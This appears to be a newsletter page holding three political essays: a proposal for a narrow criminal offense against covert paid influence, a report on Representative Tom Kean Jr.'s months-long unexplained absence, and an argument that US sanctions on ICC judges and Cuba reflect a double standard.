Two more guardrails belong in the design. The statute cannot saddle platforms with a duty to guess at or enforce the sponsorship status of what users post; that road leads straight back into Section 230, and it would rebuild the content-adjudication regime the whole proposal exists to avoid. Neither should the statute set up anything resembling notice-and-takedown for political speech. Notice-and-takedown is a wholly different mechanism, its chilling effects exhaustively documented in the DMCA fights, and it grows more hazardous still once political speech is the subject. The platform’s job comes to this and no more: keep your own transaction records, and answer lawful process aimed at specific operations.

A demand drawn that narrowly lives comfortably inside Section 230 as the courts read it, and inside the compelled-disclosure case law of the First Amendment.

Building the Case Without Building a Dragnet

The gravest objection to any criminal law that brushes up against speech is that it will end up trained on opposition politicians, on dissidents, on journalists, on the groups that make up civil society. The worry is earned. Counterterrorism powers passed after September 11 were turned, again and again, to ends their authors had sworn off at enactment. FARA carries its own checkered history, including registration demands aimed in the 1960s at civil-rights activists whose so-called foreign principals were flimsy at best. A proposal worth taking seriously has to treat that danger as something to design against, not a debating point to wave away. And the past year, in which the power to pursue influence operations has been switched on and off along nakedly partisan lines, drives the worry home.

That evidence trigger is the first line of defense, and it carries most of the load; an inquiry opens from concealed money in motion and from nothing a speaker said. A second line has to come at the investigative stage. Since the money sits off-platform, the tools are the familiar ones from money-laundering and FARA work, subpoenas to banks, demands for corporate records, grand-jury process served on the intermediaries, and, where it fits, FinCEN’s beneficial-ownership data. Reaching past that into private messages, into platform records beyond the transaction logs, into wallet histories or subscriber identities, ought to take a warrant or court order naming a particular person or entity, fixing a time window, and showing that nothing less intrusive would do the job. The statute should slam the door on dragnet keyword sweeps and forbid predicate-free trawling of people’s political associations. It should bar, as well, any referral built on the content of speech where no independent transactional evidence backs it.

The third guardrail is a matter of who holds the reins. The authority to enforce should rest with the Justice Department’s Public Integrity Section and National Security Division rather than with some newly minted agency, and it should answer to the same congressional oversight that rides herd on other sensitive enforcement work. Declinations should be tallied and reported in the aggregate. Cases opened and then closed without charges should be open to independent inspection. There is nothing exotic in any of this; it is the ordinary plumbing of an enforcement program that works.

One last piece is indispensable, and it is real data access for vetted independent researchers. Nearly all the rigorous empirical work on covert influence has come from outside the enforcement machinery, from the Stanford Internet Observatory before it was wound down in 2024, from Alicia Wanless and the Carnegie Endowment’s program on countering influence operations, from the Brennan Center’s work on political-advertising disclosure. Scholarship of that kind, far more than any platform’s own reporting, has kept the public account of these operations honest. Shut independent researchers out and the regime will understand less than it does today and it will fall prey to the predictable vices of self-reporting, inflated metrics and convenient omissions.

The Offense, Element by Element

The offense can be written in five elements. To convict, the government would have to prove each beyond a reasonable doubt:

1. Payment: The defendant received, provided, or financed the provision of money or a thing of value in exchange for the communication at issue.

2. Concealment: The defendant knowingly concealed the sponsorship relationship from the audience, or knowingly misrepresented the source, identity, or interests of the sponsor, and knew or was substantially certain that the concealment or misrepresentation would cause the audience to perceive the communication as the speaker’s own independent expression rather than paid or sponsored content.

3. Material falsity: The communication included one or more statements of verifiable fact that were false, and the falsity was material to the communication’s persuasive force.

4. Mens rea as to falsity: The defendant knew the statement was false, or acted with reckless disregard for its truth or falsity, at the time of the communication.

5. High-stakes context: The communication occurred in connection with a federal or state election, a foreign-interference operation, or a narrowly defined public-health or public-safety emergency designated by statute.

Two rules govern how those elements may be proved and against whom:

• Deliberate ignorance: Wherever this section requires that a defendant acted knowingly, including knowledge of the sponsorship under element 2 and knowledge of falsity under element 4, that requirement is satisfied by proof that the defendant subjectively believed there was a high probability of the fact and deliberately avoided confirming it. Negligence, recklessness, or a mere failure to investigate is not deliberate ignorance. A speaker who is affirmatively deceived as to the source of payment, and who has no reason to suspect the deception, has not acted knowingly under this section.

• Attribution: The elements need not be satisfied by a single person. One who directs, finances, or organizes a covert paid-influence operation, with knowledge of its concealing and false character, is liable as a principal even if he neither communicates with the audience nor personally utters the false statement. Elements supplied by one participant are attributable to another who knowingly joins or directs the operation, under ordinary principles of conspiracy and aiding-and-abetting liability. No participant is liable for an element as to which he lacked knowledge and that was not a reasonably foreseeable part of the operation he joined.

A set of safe harbors knocks out liability. It is a complete defense that the sponsor was disclosed clearly and conspicuously, on terms the statute specifies. No liability attaches to statements of opinion; to parody, satire, or other communications a reasonable audience would not take as assertions of fact; to journalism; to whistleblowing; to an honest, good-faith mistake as to either the sponsorship or the truth of the statement; or to the mere provision of neutral infrastructure or services. And no liability runs to a member of the audience.

Run the Tenet operation through these elements and it falls outside them, which is the design rather than a flaw in it. The on-air commentators were deceived about their paymaster, so none of them knowingly concealed anything under element 2, and the deliberate-ignorance rule does not reach a speaker with no reason to suspect; on the government’s own account, that describes them. The principal, meanwhile, was foreign, the one part of the chain FARA is built to reach, though in Tenet that reach closed on two absent Russians and on no one in the U.S., which is the blind spot a domestic offense is meant to cover. The statute is built for the case Tenet only points toward, the domestic principal funneling money to a witting intermediary and an on-camera voice who knows whose message he is carrying, the case that as of today triggers no disclosure obligation anywhere. Tenet is the warning — not the test case.

Aggravated conduct is the whole of what the statute reaches, and the honest difficulty is what happens to everything below that line. Ordinary, non-aggravated failure to disclose does not belong in a criminal court; it belongs in a civil regime of disclosure rules. But the civil floor that would catch it is, just now, rubble. The FEC can promulgate nothing, and the FARA modernization that might have helped sits frozen. The statute should therefore carry its own civil tier rather than lease one from agencies that cannot act, a graduated, administratively enforceable penalty for paid non-disclosure short of the criminal threshold, lodged somewhere that still has a quorum. Until that tier exists, the criminal layer stands alone, and its narrowness is deliberate. It bites only where the sponsorship is knowingly hidden in a way the operator was substantially certain would pass as independence, where the underlying factual claim is knowingly or recklessly false, and where all of it unfolds in a high-stakes setting.

The qualifying cases will be few, and each will rest on the same deception-about-source theory — the one with the firmest claim on democratic principle and the surest doctrinal ground.

How Other Democracies Have Handled It

No peer democracy has written a general crime of disinformation onto its books, and holding back has been the wiser instinct. The jurisdictions worth watching have gone after systemic platform risk, after sponsorship disclosure, after covert foreign agency, and have done it all without setting themselves up to rule on contested content.

In the European Union, the Digital Services Act loads systemic-risk obligations onto the largest platforms under Articles 34 and 35, compels transparency in advertising, and opens platform data to vetted researchers under Article 40. The companion Political Advertising Regulation, (EU) 2024/900, most of which took effect on October 10, 2025, makes political ads name their sponsors, stand up a public repository, and keep foreign money at arm’s length as elections approach. Neither one makes disinformation a crime. Both train their attention instead on who is paying, how the targeting works, and where the funds move.

Britain’s National Security Act 2023 built a foreign-interference offence around conduct that turns on misrepresentation and is undertaken for, or at the direction of, a foreign power. The drafters reached for the covert-agency idea, not a license to police content, and they slotted the offence alongside the Online Safety Act’s systemic-duties framework instead of a content-based speech crime.

France’s Law No. 2023-451 took on commercial influencers, requiring them to label sponsored content and flag certain doctored images. Political speech sits outside its direct ambit, yet it has set a disclosure-first template for governing the influencer economy that a number of other European countries are now copying. Attribution runs through every one of these schemes like a single thread. Not one hands the state the power to declare a contested political claim true or false. Instead, each shrinks the room in which paid persuasion can operate while keeping its sponsor in the dark.

My research indicates American statute books contain nothing of the kind.

Coda

FARA caught the Tenet operation for a single reason: the foreign broadcaster sitting at the very top of the chain. The Commission’s two refusals left the domestic version of the same conduct, almost surely the commoner version, under no federal disclosure requirement at all. And as paid influence keeps migrating into channels the campaign-finance laws were never built to cover, the gap widens by the year, in doctrine and on the ground alike.

Something shifted after 2024. The gap stopped being a byproduct of drift and became a set of choices. Across 2025, the executive narrowed FARA’s criminal enforcement against foreign operations, disbanded the task force built to spot them, left the modernization rule to gather dust rather than advance it, and let the FEC fall below a working quorum while the one body equipped to require influencer transparency went dark. Then, with NSPM-7, it turned FARA back on and aimed it at domestic nonprofits and political adversaries. Leaving covert paid persuasion unregulated, and reserving the enforcement machinery for the government’s critics, is now a decision taken deliberately, by the very institutions that would run any replacement.

All of that is the case for writing the rule into a statute instead of leaving it to the discretion of agencies and for arming it with guardrails fit for a world where the power to enforce gets switched on and off according to party. An offense built on covert paid agency rather than contested content, carrying a Sullivan-grade state of mind, a trigger that bars prosecutors from opening files on speech, and oversight made to be audited, looks nothing like the political-false-statements laws the courts have voided, and nothing like the censorship apparatus the First Amendment was written to forestall. It has the added virtue of being hard to switch off, unlike the levers this administration has shown it can pull at will — suspending enforcement here, hollowing an agency there, retraining a statute on new targets when it suits.

The other path is the one we are on, with covert actors at home and abroad free to buy the costume of independent civic speech, working the ever-wider gap between where the FEC stopped and where FARA’s foreign-principal trigger begins. That gap is no accident of equilibrium. Someone chose it, and in 2025 the choosing turned deliberate.

In an election where paid messaging wears the costume of independent conviction, where the backers paying for it, foreign and domestic, answer to no law that would make them say so, where a voter cannot tell persuasion that was bought from persuasion that was meant, and where the money, if it is ever traced, comes to light only after the ballots are counted and the result is already set, the 2026 midterms will be the first national test of whether the country can live that way.

The author is a technologist, not a lawyer, and welcomes further discussion and analysis on this topic from the wider legal community. Jackie Singh is a CISSP-certified information security practitioner and investigative journalist who served as a senior cybersecurity staffer for the Biden 2020 campaign. She writes for Hacking, But Legal.

Get 25% off for 1 year

On the X account belonging to Representative Thomas Kean, Jr., of New Jersey’s Seventh Congressional District, the first-person pronoun has continued to do its quiet work. I’m fighting for… I'm pleased to join… I submitted… I met my wife while we were both working at the EPA… I’m working to secure…

Between early March and late April of this year, the account posted more than a hundred times. None of the photographs in those posts, reporters have noted, can be reliably dated to the period in question. The pictures are stock or recycled. Whoever writes the posts has Kean’s voice down. Kean himself has not been seen.

Kean — Republican, son of the former governor whose name still functions as civic shorthand in New Jersey — last cast a vote in the House of Representatives on March 5th. His voting card has been idle since. By mid-May, he had missed close to a hundred roll calls, including contested measures on which his caucus, holding a one-seat margin, needed every body it could find. His office has described his absence, with a consistency that begins to feel rehearsed, as “a personal health matter,” and has named no diagnosis, no facility, no procedure, no timeline beyond the office's week-by-week assurance that he will be back soon.

Reporters from the Times, NBC, NJ Advance Media, and NOTUS have gone looking and have not found him. In Westfield, his hometown, neighbors say they have not seen Kean in months. The house, by several accounts, has looked unused. His wife, once a regular figure in the neighborhood, walking the dog and pulling out of the driveway, has been glimpsed only intermittently; one NOTUS reporter saw her at the property but never her husband. Doorbells go unanswered. No town hall to crash, no ribbon-cutting to attend. For any incumbent during an election year, this would be an unusual silence; for one in a swing district months out from a primary, it is something stranger.

◆

The official account of his condition has come almost entirely through intermediaries. Kean’s father, Tom Kean, Sr., told CNN that his son was suffering from a “serious” illness “real” enough, in the elder Kean’s phrasing, to knock him out, that several doctors were involved, that the condition was not degenerative, and that a full recovery was expected. Speaker Mike Johnson has described a “short, very positive conversation” by telephone in which Kean sounded upbeat and eager to return to Washington. The Washington Times reported that Kean had also called Richard Hudson, who chairs the National Republican Congressional Committee, to reiterate that he is still running for reelection. Two of the county Republican chairs in New Jersey, Carlos Santos in Union and Tracy DiFrancesco in Somerset, say they received calls in which Kean sounded like himself and confirmed his plans to seek a third term.

Nearly eleven weeks after his last vote, Kean himself gave a phone interview to the New Jersey Globe. His doctors, he said, were “confident” he was on the road to a “full recovery”; he anticipated returning to voting and to the campaign trail within a couple of weeks. He did not name the illness. He did not say where he was or who was caring for him. No reporter has spoken with him in any setting where his condition could be observed.

◆

Congress has never been candid about its own infirmities, and the recent record reads like a study in how much vagueness the institution can absorb. Dianne Feinstein spent months away from the Senate in 2023 with shingles and a subsequent brain inflammation; she returned visibly diminished and was permitted to finish out her term. With Mitch McConnell, after a series of televised freezing episodes, a brief letter from the Capitol physician, referencing neither imaging nor diagnosis, was sufficient to close the matter formally if not in the eyes of the public. John Fetterman went the other way in 2023, checking himself into Walter Reed for clinical depression and announcing it openly. He has since suggested he regrets that openness, which says something about the incentives.

A nearer parallel within the current Congress is Frederica Wilson, the Democratic representative from Florida’s Twenty-fourth District, who missed more than forty votes this spring while recovering from eye surgery. Wilson, like Kean, was the subject of a Hill piece grouping the two as case studies in absenteeism. Unlike Kean, she eventually sat for a local-television interview, on Miami’s Channel 10, in which she confirmed a second procedure and explained that her doctors had forbidden her to fly. She put out a statement under her own name. Voters could watch her speak and judge for themselves whether her account of her recovery matched what they saw. The disclosure was partial. She did not produce charts. It was nevertheless the kind that allows constituents to perform the small, ordinary act of verification.

Kean has offered nothing comparable. Reporters have produced no video and located no clinic. The closest thing to evidence of his current state is a chorus of party officials describing how he sounded on the phone.

◆

Legal mechanisms for dealing with an absent member of Congress are thinner than most voters might assume.

Article I, Section 5 of the Constitution lets each chamber “compel the attendance of absent members” and “punish” them for disorderly behavior, including expulsion by a two-thirds vote. Prolonged nonattendance could, in theory, qualify as misconduct; in practice, expulsion has been reserved for the Confederates of the eighteen-sixties, for members convicted of serious crimes, and for the occasional spectacular scandal, never for chronic absence by itself. The Supreme Court’s 1969 decision in Powell v. McCormack further constrained Congress from excluding members for reasons beyond the Constitution’s stated requirements of age, citizenship, and residency. House leaders are unlikely to test those limits in a case framed as illness. Nothing in the rules provides a procedure for vacating a seat because the member has stopped appearing. Death and resignation, the system understands. A quiet fade is outside its vocabulary.

Modern congressional offices, meanwhile, are engineered to outlive their principals’ presence. A member’s staff drafts press releases, manages constituent casework, posts to social media, responds to emails, and, increasingly, files documents that once required a physical signature. NOTUS reported that Kean’s financial disclosures showed digitally signed stock trades worth between roughly fifty thousand and one hundred ninety thousand dollars during the very weeks when no journalist could locate him. None of this is improper on its face. When a member is briefly hospitalized or away for a week, the institutional autopilot is exactly what permits the work to continue. Sustained over months, the same arrangements describe an office producing the outputs of representation without the representative.

The cost is not abstract. Kean sits on the House Foreign Affairs Committee, which receives classified briefings on matters from Ukraine to the Indo-Pacific, and on Energy and Commerce, whose jurisdiction reaches telecommunications, energy policy, and large parts of the technology sector. Briefings continue, and votes are cast or not cast, with staff sitting in for an elected official whose chair is technically still occupied. Constitutionally, this work is supposed to be done by a representative of the people of the Seventh District; in practice, it is being done by people who have never been on any ballot.

◆

New Jersey’s Seventh has, for a decade, swung. Tom Malinowski, a Democrat, took the seat in 2018; Kean took it back in 2022 and held it, narrowly, in 2024. Democrats placed Kean on the D.C.C.C.’s 2026 target list early, and Inside Elections has since shifted its rating in their direction. Politico has reported that Democrats see the seat as increasingly in play, with some strategists, privately, regarding Kean as politically finished. A crowded Democratic primary will be decided on June 2nd, and the eventual nominee will inherit a campaign theme that requires no embellishment. The incumbent has not been seen.

Republicans insist that the illness is temporary and the office functioning, and that Kean will be back. Replacing him on the ballot would be procedurally difficult and politically humiliating, an admission of the very thing they currently deny. The party, for now, holds the line. In the district, meanwhile, a seat exists without an occupant anyone has seen.

◆

There is a temptation, in writing about a case like this, to make it stand for something larger: the aging political class, the octogenarian presidents, the committee chairs struggling through hearings, the lifetime appointees performing competence by ritual. The gesture is warranted, but the local point suffices. A congressman has not been seen outside a small circle of party officials in nearly three months. He has issued no statement under his own voice that could not have been produced without him. His district has been served, in the meantime, by a digital reproduction of representation — posts and statements and casework and signatures, all in his name. Lacking any procedure for declaring this a problem, the institution has declined to declare it one.

Whether voters reach the same conclusion is, for the moment, the only mechanism left.

In February 2025, Donald Trump signed Executive Order 14203. The order declared that the International Criminal Court’s efforts to investigate American or Israeli personnel posed an “unusual and extraordinary threat” to U.S. national security. By December, eleven ICC prosecutors and judges sat on the same Treasury blacklist normally reserved for drug traffickers and oligarchs. Canadian judge Kimberly Prost was one of them, sanctioned in August in connection with a 2020 ruling on Afghanistan. She told The Irish Times what happened next: credit cards canceled overnight, banks dropping her account, Amazon shutting her out, the Alexa device in her home in The Hague going silent. A colleague’s daughter had her U.S. visa revoked.

On May 1, 2026, Trump signed a second order, declaring open season on a wide circle of Cuban officials, state-linked businesses, and the foreign banks that finance them. Its mechanism mirrors the one used against the ICC: asset freezes, travel bans, secondary sanctions threatening any third-country institution that handles a designated person’s money. A bank in Madrid or Montreal that processes a payment for a sanctioned Cuban port operator now risks losing access to the U.S. dollar system.

Read the two orders side by side, and a working doctrine emerges.

International jurisdiction over American or allied officials, even under a treaty 125 countries have ratified, is denounced as lawfare. American jurisdiction over foreign officials, businesses, and even foreign judges, exercised unilaterally with no treaty basis and no mechanism of consent, is framed as sovereign common sense. Washington’s complaint about the ICC is not really that international law overreaches — it is that someone else has begun reaching.

Criminal law for thee, sanctions for me

Washington dresses its case against the ICC in the familiar grammar of consent. America never joined the Rome Statute that created the court. Successive administrations have insisted that a treaty cannot bind a state which has not signed it, and that ICC jurisdiction over Americans for conduct in Afghanistan, or over Israelis for conduct in Palestine, violates that principle. On paper, sovereignty is the issue.

The argument collapses on contact with U.S. practice. A government that insists The Hague cannot judge its nationals asserts a sweeping right to judge the world through Treasury designations, freezing the assets of foreign officials, blacklisting foreign companies, and threatening foreign banks for conduct that occurs entirely outside U.S. territory, so long as a dollar somewhere in the chain provides a hook. Pressed on the inconsistency, Washington responds that controlling access to American markets and the world’s reserve currency is a domestic matter. Brussels and Brasília call this extraterritorial reach. Washington calls it the right of any sovereign to choose its trading partners.

Two propositions are being asserted at once. A multilateral court built on treaty consent has no business touching American or Israeli officials, even when alleged crimes occur on the territory of states that have accepted the court’s authority. A single state, by contrast, has every right to decide which Cuban general, which Iranian banker, or which Hague-based prosecutor may travel, bank, or do business anywhere on earth that depends on dollars. One proposition rests on a principle. The other rests on market share.

Stripped of its legal vocabulary, the doctrine is a hierarchy. American officials and close allies sit at the top, effectively shielded from international criminal accountability by political and financial muscle. Beneath them, the officials of weaker states find themselves simultaneously subject to ICC jurisdiction and to the U.S. sanctions apparatus.

At the bottom, judges and prosecutors who investigate the wrong suspects find their own names on the list alongside the people they were trying to bring to trial.

How Cuba went dark

“Cuba’s finished. They have a bad regime. They have very bad and corrupt leadership. And whether or not they get a boat of oil, it’s not going to matter.”

—Donald Trump, March 30, 2026

Understanding what the May 1 order expands requires understanding what brought Cuba to the brink in the first place. Washington’s preferred explanation, which blames Cuban mismanagement, will not do the work.

Cuba’s grid was already failing well before 2026. Its thermoelectric plants are Soviet-era infrastructure held together with improvisation, maintenance deferred for decades. Cuba’s 2021 currency unification, pitched as rationalization, landed instead as another shock to an economy already off balance. Major island-wide outages struck repeatedly in late 2024, including a total grid collapse in October that took days to restore. Venezuelan oil shipments, Cuba’s lifeline since the Soviet Union dissolved, had been declining for years as Caracas’s own economy unraveled. Internal corruption is real, state planning a long-running disaster. None of this is in dispute.

What changed in the first weeks of 2026 was not Cuban policy. It was American policy.

In December 2025, the U.S. Coast Guard seized the tanker Skipper in the Caribbean as it carried sanctioned Venezuelan crude, an action Cuba’s foreign ministry called an “act of piracy and maritime terrorism.” A week later, Washington formalized a blockade on sanctioned tankers moving in or out of Venezuela. On January 3, 2026, U.S. forces executed Operation Absolute Resolve, capturing Venezuelan president Nicolás Maduro and his wife in a helicopter assault on Caracas. Two days later, the couple were arraigned before U.S. District Judge Alvin Hellerstein in the Southern District of New York on narcoterrorism and drug-trafficking charges. Venezuelan oil shipments to Cuba, already shrinking, ended. Trump’s Executive Order 14380 on January 29 threatened tariffs on any country that picked up the slack. Mexico’s state oil company Pemex, under pressure, halted its shipments. Other suppliers followed.

The New York Times described what resulted as the first effective American blockade of Cuba since the missile crisis. The administration has made no secret of its purpose. Regime change by the end of the year, with Trump musing publicly about having “the honor of taking Cuba” while predicting the government will collapse “within a short period of time.” The blockade is not an unintended consequence of the policy so much as it is the policy.

Run the numbers. Cuban mismanagement was a constant from January 2025 to January 2026. The variable that changed was American policy. Hold one variable steady, change the other, watch the outcome shift, and you can see which input is doing the causal work. Cuban dysfunction is the pre-existing condition.

The U.S. policy put the patient in intensive care.

Independent assessments arrived quickly and bluntly. UN human rights experts in February condemned the January order as “a serious violation of international law” and “an extreme form of unilateral economic coercion with extraterritorial effects” — language UN special rapporteurs have rarely applied to American policy. By March, World Health Organization director-general Tedros Adhanom Ghebreyesus was warning publicly that “thousands of surgeries have been postponed during the last month, and people needing care, from cancer patients to pregnant women preparing for delivery, have been put at risk due to lack of power to operate medical equipment and cold chain storage for vaccines.” UN Secretary-General António Guterres said he was “extremely concerned” the humanitarian situation could “worsen, or even collapse.” Reporting from Havana described medical staff hand-pumping intensive-care equipment during blackouts to keep critical patients alive.

NPR’s coverage of the crisis put the contradiction plainly: the blockade has had “devastating effects on the civilians Trump and Secretary of State Marco Rubio say they want to help.”

Then came the small episode that gave away the rule. In late March, after months of what Cuban officials called a de facto oil blockade, the sanctioned Russian-flagged tanker Anatoly Kolodkin docked at Matanzas carrying 730,000 barrels of crude. Trump waved it through aboard Air Force One: “We have a tanker out there. We don’t mind having somebody get a boatload because they need... they have to survive.” His press secretary, Karoline Leavitt, told reporters the next day this was a humanitarian exception and “not a policy change.”

Five weeks later, Trump signed the May 1 order expanding the very sanctions architecture the tanker had briefly bypassed. The exception confirmed the rule it broke. Washington had reserved itself the prerogative to decide who eats, who has lights, and who treats their patients, on a case-by-case basis, by executive whim.

The architecture of the new order

The May 1 executive order does several things at once. Major sectors of the Cuban economy get designated as high-risk zones: energy, defense, metals and mining, financial services, security. Anyone judged to have operated in those sectors, from cabinet ministers down to mid-level managers, can have property blocked in the United States and entry barred. People deemed responsible for human rights abuses or corruption face the same fate. So do their adult family members, an extension of liability that would not survive a constitutional challenge if applied to American citizens.

Secondary sanctions are the genuinely new feature.

Foreign financial institutions that conduct “significant” transactions for designated Cuban actors face restrictions on their U.S. correspondent and payable-through accounts, the plumbing through which dollar-denominated commerce actually flows. Washington has used the mechanism to police Iran-related transactions for years. Applying it to Cuba treats the entire Cuban economy as a contamination risk to be quarantined.

Three days before Trump signed the order, the Senate had a chance to weigh in. Tim Kaine of Virginia introduced a war powers resolution that would have barred the president from launching military action against Cuba without congressional approval. Kaine argued the United States was already engaged in hostilities, and pointed to the oil blockade as evidence: “The U.S. is using force to block energy from going to Cuba.” If another country did this to America, he added, Washington would consider it an act of war. Senate Republicans blocked the procedural vote 51-47. Florida senator Rick Scott called the issue “moot” because Trump had not yet deployed troops. The blockade itself, in this telling, was not hostilities. The boats turning back, the hospitals running on fumes, the surgeries postponed: none of it counted.

Cuba’s role in this story is functional, not symbolic. The island has served sixty years as a laboratory for aggressive sanctions design, and tools developed against Havana have routinely migrated to other targets. The blueprint Trump signed on May 1, with its declared national emergency, broad sectoral designations, and secondary reach into third-country banks, is now portable. It is also self-renewing, requiring no congressional buy-in beyond the president’s annual notice that the emergency continues.

Set the Cuba policy beside the Russia policy, and the doctrine becomes difficult to defend with a straight face. Sanctions on Moscow are sold as essential to containing the war on Ukraine and deterring further aggression in Eastern Europe. Treasury, meanwhile, has repeatedly issued general licenses allowing certain Russian oil shipments to clear, ostensibly to avoid shocks to global energy markets. Russian crude finds its way to market when American consumers might otherwise feel the price. Cuban hospitals, which exert no comparable pressure on the price of gasoline in Ohio, receive no such accommodation.

What comes after the lights go out

“Cuba is going to be next,” Trump told the Associated Press. “It’s going to fail. And we will be there to help it out.” Pressed on the Russian tanker, he laughed off its significance: “He loses one boatload of oil. That’s all it is... It’s not going to have an impact. Cuba’s finished.”

Look closely at the framing.

Trump describes a country whose collapse he is engineering as a country collapsing on its own. The “help” he offers is reserved for Cuban-Americans in Florida, the political constituency that votes in U.S. elections, not for the ten million Cubans currently on the island whose hospitals are running out of fuel. The Castro brothers are both dead; the man Trump is starving out of power is Miguel Díaz-Canel. None of this slows him down. Cuba is finished, and the United States will be there.

Cuba is one stop on a route. Replay the past sixteen months, and the rhythm is the same each time. Pick a target. Manufacture the crisis. Take out the leadership. Move on before anyone has to govern what’s left. Venezuela was the precedent. Greenland was the trial balloon. Cuba is the test of whether financial weapons alone can do what helicopters did in Caracas.

Maduro had been in U.S. custody for less than 48 hours when Trump told reporters that the United States would “run” Venezuela “until such time as we can do a safe, proper and judicious transition.” Asked about elections, Trump said: “Well, I think we’re looking more at getting it fixed, getting it ready first, because it’s a mess.” Almost in the same breath, he announced that U.S. oil companies would enter Venezuela to “fix” its energy infrastructure and would be “reimbursed for their efforts.” Maduro’s vice president, Delcy Rodríguez, was sworn in as acting president. The Trump administration signaled it was willing to work with her, the same Rodríguez who had been deeply implicated in Maduro’s repression and corruption.

Elliott Abrams, who served as Trump’s first-term Venezuela envoy, called the arrangement “a recipe for an Iraq-style disaster.” Ten weeks after the capture, Abrams wrote in The Washington Post that “almost invisible so far is any progress toward a democratic transition.”

RAND researchers analyzing the aftermath put it more bluntly: “regime decapitation does not equal regime change.” Most of the ruling structure remained: the colectivos, the secret police, the corrupt military leadership, the Cuban intelligence officers embedded throughout. What had changed was that an American president had captured a sitting head of state on foreign soil, declared an interest in the country’s oil, and offered no plan for governance beyond “fixing” things on his own timeline.

Trump cited the Venezuelan template approvingly when asked about Cuba.

In a phone interview with CNN’s Dana Bash on March 6, he said Cuba was “going to fall pretty soon” and announced he was sending Rubio to handle the negotiations: “I’m going to put Marco over there and we’ll see how that works out.” In the same call, asked about the broader playbook, Trump pointed to Venezuela as the model. “It’s gonna work very easily,” he said. “It’s going to work like did in Venezuela. We have a wonderful leader there. She’s doing a fantastic job.” His “wonderful leader” was Delcy Rodríguez. Trump also took personal credit for the Cuban collapse: “I’ve been watching it for 50 years, and it’s fallen right into my lap because of me.”

The Cuban side of the equation comes with its own freight. Thirty-two Cuban military and intelligence officers were killed in Caracas during Operation Absolute Resolve, where they had been embedded with Maduro’s security detail. Their bodies returned to Havana in mid-January. Cuban president Miguel Díaz-Canel addressed crowds at the U.S. Embassy and vowed no concessions. Rubio is now preparing to negotiate with a government still mourning thirty-two of its own people, killed by the same United States now demanding they accept “new people in charge.”

Greenland came and went on a parallel track. Through January 2026, Trump refused to rule out military force to acquire the territory, slapped a 10% tariff on Denmark and seven other European countries with a threat to escalate to 25%, and demanded “Complete and Total Control of Greenland.” His own press secretary said “utilizing the U.S. military is always an option.” Trump backed down at Davos only after sustained European pushback and counsel from his own aides, settling for a vague “framework of a future deal.” Greenland remained nominally Danish. Trump kept the option open.

The throughline across all three campaigns is the absence of a plan for what comes after. Each operation begins with a national-security framing, narcotics in Venezuela, communism and migration from Cuba, Russian and Chinese ships near Greenland. Each one ends with an executive order or a special-forces operation. None of them comes with a coherent answer to the question that always follows: then what? In Venezuela, the answer was Delcy Rodríguez and a foreign-investor-friendly oil law. In Cuba, the answer is a country with a collapsing healthcare system and a million-dollar question about who runs the place once the lights stay off. In Greenland, the answer was a Truth Social post and a tariff threat aimed at Denmark.

The premise driving all three campaigns: destruction is the same as design. Break the existing order, the thinking goes, and something better will fill the vacuum, possibly run by the United States, possibly run by people Washington approves of, possibly run by no one in particular while American oil companies move in.

Trump articulated the post-war theory of governance recently while discussing Iran. The Iranian military, he explained, had been disabled in days. The Navy first, the Air Force after that, the anti-aircraft soon after. American jets were flying over Iran unopposed. The electricity grid could be eliminated “in a matter of minutes.” The oil infrastructure had been deliberately spared, not out of restraint, but because rebuilding it would “take them forever.”

Then came the governance plan, in his own words: “whoever it is that’s going to be running that, and we’re going to try to get people that are going to run it well.” That sentence, casually delivered, is the entire public framework. Disable the country. Then try to find acceptable replacements.

The same logic governs their Cuba campaign.

Trump turned to Rubio in the same interview and asked him to explain. “Cuba has an economy that doesn’t work and a political and governmental system they can’t fix,” Rubio said. “It’s not dramatic enough. It’s not going to fix it. So they’ve got some big decisions to make over there.” Pressed by a reporter on whether the embargo could be eased in exchange for cooperation, Rubio went further. The embargo, he confirmed, “is tied to political change on the island.” Cuba had survived “for 40 [years] on subsidies from the Soviet Union and now from Venezuela. They don’t get subsidies anymore. So they’re in a lot of trouble. And the people in charge are — they don’t know how to fix it. So they have to get new people in charge.”

Rubio cited the loss of Venezuelan subsidies as proof Cuba’s economy cannot survive. He neglected to mention that the United States itself eliminated those subsidies in January by capturing the Venezuelan president and seizing the tankers carrying oil to Havana. Trump’s framing of the same situation has been less guarded:

Six weeks later, with hospitals scaling back surgeries and the Cuban peso in freefall, neither man has named the “new people.”

The May 1 order locks the architecture in place. There is no stabilization plan, no transition framework, no offer to rebuild what the blockade has broken. The order extends the architecture of pressure indefinitely while the consequences play out somewhere else, on a timeline determined by how long ten million Cubans can be kept in the dark before something breaks. The Senate, given the opportunity to ask whether any of this counted as hostilities, voted not to ask.

Judges as fair game

Sanctioning ICC judges and prosecutors marked a major break with prior U.S. practice. The Bush administration refused to join the court and pursued bilateral immunity agreements aggressively, but had not attacked the judiciary nor designated a sitting judge by name. Trump has crossed that line and kept walking. Eleven ICC officials are now on the SDN List alongside Hezbollah financiers and North Korean front companies for the offense of doing their jobs.

Prost’s account, given to The Irish Times in December, captures the practical effect. Banks immediately closed her credit cards. Online retailers cut her off. Currency transfers to family members became unworkable, because SWIFT routes through American infrastructure. Her sanctioning, as Prost noted, was punishment for a 2020 ruling on a now-dormant Afghanistan investigation.

Sanctions cannot deter what has already happened. They can only punish.

NGOs and academics who interact with sanctioned ICC officials face their own exposure under the order’s “material support” provisions. A law professor advising a designated judge on a procedural question could, in principle, find herself on the same list. The order has been challenged in federal court on First Amendment grounds, with injunctions issued for some plaintiffs, though the underlying authority remains intact.

Layer the May 1 Cuba order atop E.O. 14203, and the architecture clarifies. A foreign bank that processes a payment for a sanctioned ICC official’s legal team could, in theory, trip the same secondary sanctions rules now threatening institutions that handle Cuban state business. A judge in The Hague and a port operator in Havana are not equivalent actors in any moral sense, but they face the same instruments now: asset freezes, travel bans, financial isolation. All ordered from Washington, none subject to any meaningful external review.

To governments outside the United States, the picture resembles a loyalty test more than a rules-based order. Investigate Russian war crimes in Ukraine and Washington applauds. Apply the same legal framework to Israeli or American conduct and your name may appear on an OFAC list.

The court has not changed, nor have the standards. Only the identities of the suspects have, which is precisely the point.

The quiet part, said aloud

The strongest argument for U.S. policy is the one defenders are usually too embarrassed to make in public. It runs roughly as follows: international criminal law is selectively enforced anyway, sanctions are a normal tool of statecraft, and the United States is entitled to use the leverage its financial centrality provides. If the world wanted a different system, the world should not have made the dollar its reserve currency.

There is something honest in this. The ICC has had an uneven record. Sanctions are not prison sentences. A sovereign state controlling access to its own markets is not the same as a treaty-based court asserting jurisdiction over non-members. American courts can review some sanctions designations. Congress, in theory, can rein in an overreaching president.
